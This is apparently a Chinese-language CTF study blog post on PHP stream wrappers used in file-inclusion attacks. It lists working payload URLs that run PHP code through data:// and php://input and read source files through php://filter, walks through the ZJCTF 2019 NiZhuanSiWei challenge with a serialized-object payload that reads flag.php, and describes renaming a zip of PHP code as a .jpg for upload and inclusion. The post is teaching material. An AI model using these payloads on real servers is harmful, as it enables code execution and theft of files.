php支持的协议和封装协议

#php支持的协议和封装协议(主要是php伪协议)#

1 data://协议

(1)data://协议必须双在on才能正常使用;

allow_url_fopen :on
allow_url_include:on


封装协议摘要
属性                        支持
受限于allow_url_fopen         No
受限于allow_url_include    Yes
允许读取                    Yes
允许写入                    No
允许追加                    No
允许同时读写                No
支持stat()                No
支持unlink()                No
支持rename()                No
支持mkdir()                No
支持rmdir()                No

(2)格式:

http://127.0.0.1/code/1.php?file=data://text/plain,<?php phpinfo()?>
http://127.0.0.1/code/1.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

$data='Günther says: 1+1 is 2, 10%40 is 20.';
$fp = fopen('data:text/plain,'.urlencode($data), 'rb'); // urlencoded data 
echostream_get_contents($fp);
$fp = fopen('data:text/plain;base64,'.base64_encode($data), 'rb'); // base64 encoded data
echostream_get_contents($fp);
  • 注:不要直接传输原数据,特别是在数据中存在+时,因为PHP会自动对传递的字符串中的所有实体进行urldecode,+在此步骤时丢失我么需要urlencode()或者base64_encode()转码在传输

(3)用法:
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输。

可以用来绕过file_get_contents()函数,file_get_contents — 将整个文件读入一个字符串。其中如果传入的值为网址,则获取并输出网站首页 HTML 源码。

##2 php://协议 ##

(1)封装协议摘要(针对 php://filter,参考被筛选的封装器)

受限于allow_url_fopen        No
受限于allow_url_include    仅 php://input、 php://stdin、 php://memory 和 php://temp。
允许读取    仅 php://stdin、 php://input、 php://fd、 php://memory 和 php://temp。
允许写入    仅 php://stdout、 php://stderr、 php://output、 php://fd、 php://memory 和php://temp。
允许追加    仅 php://stdout、 php://stderr、 php://output、 php://fd、 php://memory 和php://temp(等于写入)
允许同时读写        仅 php://fd、 php://memory 和 php://temp。
支持 stat()    仅 php://memory 和 php://temp。
支持 unlink()        No
支持 rename()        No
支持 mkdir()        No
支持 rmdir()        No
仅仅支持 stream_select()    php://stdin、 php://stdout、 php://stderr、 php://fd 和 php://temp。

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。php://stdin, php://stdout 和 php://stderr、php://stdin、php://stdout 和 php://stderr 允许直接访问 PHP 进程相应的输入或者输出流。php://stdin 是只读的, php://stdout 和 php://stderr 是只写的。

php://filter在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

  • 注:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://input,php://filter用于读取源码,php://input用于执行php代码。

(2)格式

  • php://filter
    http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./xx.php
    //输出xx.php的base64的值
  • php://input

      http://127.0.0.1/cmd.php?file=php://input
      post传值:<?php phpinfo()?>//php代码,即用来执行PHP代码
    

来个data://协议与php://协议的题目

(1)[ZJCTF 2019]NiZhuanSiWei

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

(2)绕过file_get_contents函数

我们可以用PHP伪协议中的php://input(将post请求中的数据作为PHP代码执行)或者data://(写入协议)对text参数传入welcome to the zjctf

payload:?text=data://text/plain,welcome%20to%20the%20zjctf

(3)利用php://filter协议读取useless.php看看提示

payload:?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

得到了一串base64的码。

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

解码得:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

又有一段代码。。。。

(4)我们需要运用上面的file_get_contents来对flag.php文件进行读取,但file的值又不能有flag。这时我们可以先用include()函数对要用到的文件useless.php进行包含,即让file=useless.php,这样同时也可以绕过正则匹配。

在对password传值,并利用echo 函数会触发tostring魔术方法,而在此方法中有file get contents函数,只传flag进去发现不行,因此传伪协议进去,出flag。

序列化一下

<?php
 
class Flag{  //flag.php  
    public $file="flag.php";    
 }  
echo serialize(new Flag);
?>
//输出 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

构造payload:

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

(5)爆出flag

图片.png

输入payload的得到以上界面,查看一下源代码得到flag。

  • 注:tostring魔术方法

echo一个对象的时候自动调用该方法。

    <?php  
        error_reporting(0);
        class A{  //flag.php  
            public $file;  
            public function __tostring(){  
                if(isset($this->file)){  
                    echo file_get_contents($this->file); 
                    echo $this->file;
                    echo "<br>";
                return ("U R SO CLOSE !///COME ON PLZ");
                }  
            }  
            
        }  
        $p = 'O:1:"A":1:{s:4:"file";s:3:"123";}';
        $p = unserialize($p);
        echo $p;
    ?>  

图片.png

3 file://协议

(1)条件

file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

图片.png

(2)格式

file:// [文件的绝对路径和文件名]

http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

(3)用法

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

4 zip://, bzip2://, zlib://协议

zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

图片.png

1、zip://

(1)使用

zip://archive.zip#dir/file.txt

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

先将要执行的PHP代码写好文件名为xx.txt,将xx.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

2、bzip2://协议

(1)使用

compress.bzip2://file.bz2

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

3、zlib://协议

(1)使用

compress.zlib://file.gz

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2023 00hello00

请我喝杯咖啡吧~

支付宝
微信